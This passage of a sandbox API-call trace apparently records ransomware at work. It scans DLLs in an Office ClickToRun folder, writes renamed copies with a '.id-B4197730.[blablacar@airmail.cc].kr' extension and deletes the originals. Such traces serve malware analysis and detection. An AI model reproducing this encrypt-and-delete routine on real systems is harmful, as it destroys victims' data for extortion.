Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.036] lstrlenW (lpString=".dbf") returned 4 [0107.036] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.036] lstrlenW (lpString=".1cd") returned 4 [0107.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.036] lstrlenW (lpString=".jpg") returned 4 [0107.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.036] lstrlenW (lpString=".doc") returned 4 [0107.036] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.036] lstrlenW (lpString=".docx") returned 5 [0107.036] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.036] lstrlenW (lpString=".pdf") returned 4 [0107.036] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.036] lstrlenW (lpString=".xls") returned 4 [0107.036] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.036] lstrlenW (lpString=".xlsx") returned 5 [0107.037] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.037] lstrlenW (lpString=".ppt") returned 4 [0107.037] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.037] lstrlenW (lpString=".zip") returned 4 [0107.037] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.037] lstrlenW (lpString=".rar") returned 4 [0107.037] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.037] lstrlenW (lpString=".bz2") returned 4 [0107.037] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.037] lstrlenW (lpString=".7z") returned 3 [0107.037] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.037] lstrlenW (lpString=".dbf") returned 4 [0107.037] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.037] lstrlenW (lpString=".1cd") returned 4 [0107.037] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.037] lstrlenW (lpString=".jpg") returned 4 [0107.037] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.038] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.038] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0107.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.038] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=24768) returned 1 [0107.038] CloseHandle (hObject=0x38c) returned 1 [0107.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0107.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.039] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.039] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.039] GetLastError () returned 0x0 [0107.039] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0107.420] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0107.422] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.423] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x112, lpOverlapped=0x0) returned 1 [0107.423] SetEndOfFile (hFile=0x398) returned 1 [0107.423] CloseHandle (hObject=0x398) returned 1 [0107.425] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.425] SetEndOfFile (hFile=0x38c) returned 1 [0107.426] CloseHandle (hObject=0x38c) returned 1 [0107.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0107.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.427] lstrlenW (lpString=".doc") returned 4 [0107.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.427] lstrlenW (lpString=".docx") returned 5 [0107.427] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.427] lstrlenW (lpString=".pdf") returned 4 [0107.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.428] lstrlenW (lpString=".xls") returned 4 [0107.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.428] lstrlenW (lpString=".xlsx") returned 5 [0107.428] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.428] lstrlenW (lpString=".ppt") returned 4 [0107.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.428] lstrlenW (lpString=".zip") returned 4 [0107.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.428] lstrlenW (lpString=".rar") returned 4 [0107.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.428] lstrlenW (lpString=".bz2") returned 4 [0107.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.428] lstrlenW (lpString=".7z") returned 3 [0107.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.428] lstrlenW (lpString=".dbf") returned 4 [0107.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.428] lstrlenW (lpString=".1cd") returned 4 [0107.428] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.428] lstrlenW (lpString=".jpg") returned 4 [0107.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.429] lstrlenW (lpString=".doc") returned 4 [0107.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString=".docx") returned 5 [0107.429] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.429] lstrlenW (lpString=".pdf") returned 4 [0107.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString=".xls") returned 4 [0107.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString=".xlsx") returned 5 [0107.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.429] lstrlenW (lpString=".ppt") returned 4 [0107.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.429] lstrlenW (lpString=".zip") returned 4 [0107.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString=".rar") returned 4 [0107.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.429] lstrlenW (lpString=".bz2") returned 4 [0107.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.429] lstrlenW (lpString=".7z") returned 3 [0107.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.430] lstrlenW (lpString=".dbf") returned 4 [0107.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.430] lstrlenW (lpString=".1cd") returned 4 [0107.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0107.430] lstrlenW (lpString=".jpg") returned 4 [0107.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.430] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.430] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0107.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.431] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=473760) returned 1 [0107.431] CloseHandle (hObject=0x38c) returned 1 [0107.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0107.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.431] lstrlenW (lpString=".doc") returned 4 [0107.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.431] lstrlenW (lpString=".docx") returned 5 [0107.431] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0107.431] lstrlenW (lpString=".pdf") returned 4 [0107.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.432] lstrlenW (lpString=".xls") returned 4 [0107.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.432] lstrlenW (lpString=".xlsx") returned 5 [0107.432] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0107.432] lstrlenW (lpString=".ppt") returned 4 [0107.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.432] lstrlenW (lpString=".zip") returned 4 [0107.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.432] lstrlenW (lpString=".rar") returned 4 [0107.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.432] lstrlenW (lpString=".bz2") returned 4 [0107.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.432] lstrlenW (lpString=".7z") returned 3 [0107.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.432] lstrlenW (lpString=".dbf") returned 4 [0107.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.432] lstrlenW (lpString=".1cd") returned 4 [0107.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.432] lstrlenW (lpString=".jpg") returned 4 [0107.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.433] lstrlenW (lpString=".doc") returned 4 [0107.433] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString=".docx") returned 5 [0107.433] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0107.433] lstrlenW (lpString=".pdf") returned 4 [0107.433] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString=".xls") returned 4 [0107.433] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString=".xlsx") returned 5 [0107.433] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0107.433] lstrlenW (lpString=".ppt") returned 4 [0107.433] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.433] lstrlenW (lpString=".zip") returned 4 [0107.433] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString=".rar") returned 4 [0107.433] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.433] lstrlenW (lpString=".bz2") returned 4 [0107.433] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.433] lstrlenW (lpString=".7z") returned 3 [0107.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.433] lstrlenW (lpString=".dbf") returned 4 [0107.433] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.434] lstrlenW (lpString=".1cd") returned 4 [0107.434] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0107.434] lstrlenW (lpString=".jpg") returned 4 [0107.434] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.434] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.434] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0107.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.434] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=210648) returned 1 [0107.434] CloseHandle (hObject=0x38c) returned 1 [0107.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0107.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.436] lstrlenW (lpString=".doc") returned 4 [0107.436] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.436] lstrlenW (lpString=".docx") returned 5 [0107.436] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0107.436] lstrlenW (lpString=".pdf") returned 4 [0107.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.436] lstrlenW (lpString=".xls") returned 4 [0107.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.436] lstrlenW (lpString=".xlsx") returned 5 [0107.436] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0107.436] lstrlenW (lpString=".ppt") returned 4 [0107.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.436] lstrlenW (lpString=".zip") returned 4 [0107.436] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.436] lstrlenW (lpString=".rar") returned 4 [0107.436] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.436] lstrlenW (lpString=".bz2") returned 4 [0107.436] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.436] lstrlenW (lpString=".7z") returned 3 [0107.436] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.436] lstrlenW (lpString=".dbf") returned 4 [0107.436] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.437] lstrlenW (lpString=".1cd") returned 4 [0107.437] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.437] lstrlenW (lpString=".jpg") returned 4 [0107.437] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.437] lstrlenW (lpString=".doc") returned 4 [0107.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.437] lstrlenW (lpString=".docx") returned 5 [0107.437] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0107.437] lstrlenW (lpString=".pdf") returned 4 [0107.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.437] lstrlenW (lpString=".xls") returned 4 [0107.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.438] lstrlenW (lpString=".xlsx") returned 5 [0107.438] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0107.438] lstrlenW (lpString=".ppt") returned 4 [0107.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.438] lstrlenW (lpString=".zip") returned 4 [0107.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.438] lstrlenW (lpString=".rar") returned 4 [0107.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.438] lstrlenW (lpString=".bz2") returned 4 [0107.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.438] lstrlenW (lpString=".7z") returned 3 [0107.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.438] lstrlenW (lpString=".dbf") returned 4 [0107.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.438] lstrlenW (lpString=".1cd") returned 4 [0107.439] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0107.439] lstrlenW (lpString=".jpg") returned 4 [0107.439] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.439] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.439] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0107.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.439] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=1402584) returned 1 [0107.439] CloseHandle (hObject=0x38c) returned 1 [0107.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0107.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.440] lstrlenW (lpString=".doc") returned 4 [0107.440] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.440] lstrlenW (lpString=".docx") returned 5 [0107.440] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0107.440] lstrlenW (lpString=".pdf") returned 4 [0107.440] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.440] lstrlenW (lpString=".xls") returned 4 [0107.440] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.440] lstrlenW (lpString=".xlsx") returned 5 [0107.440] 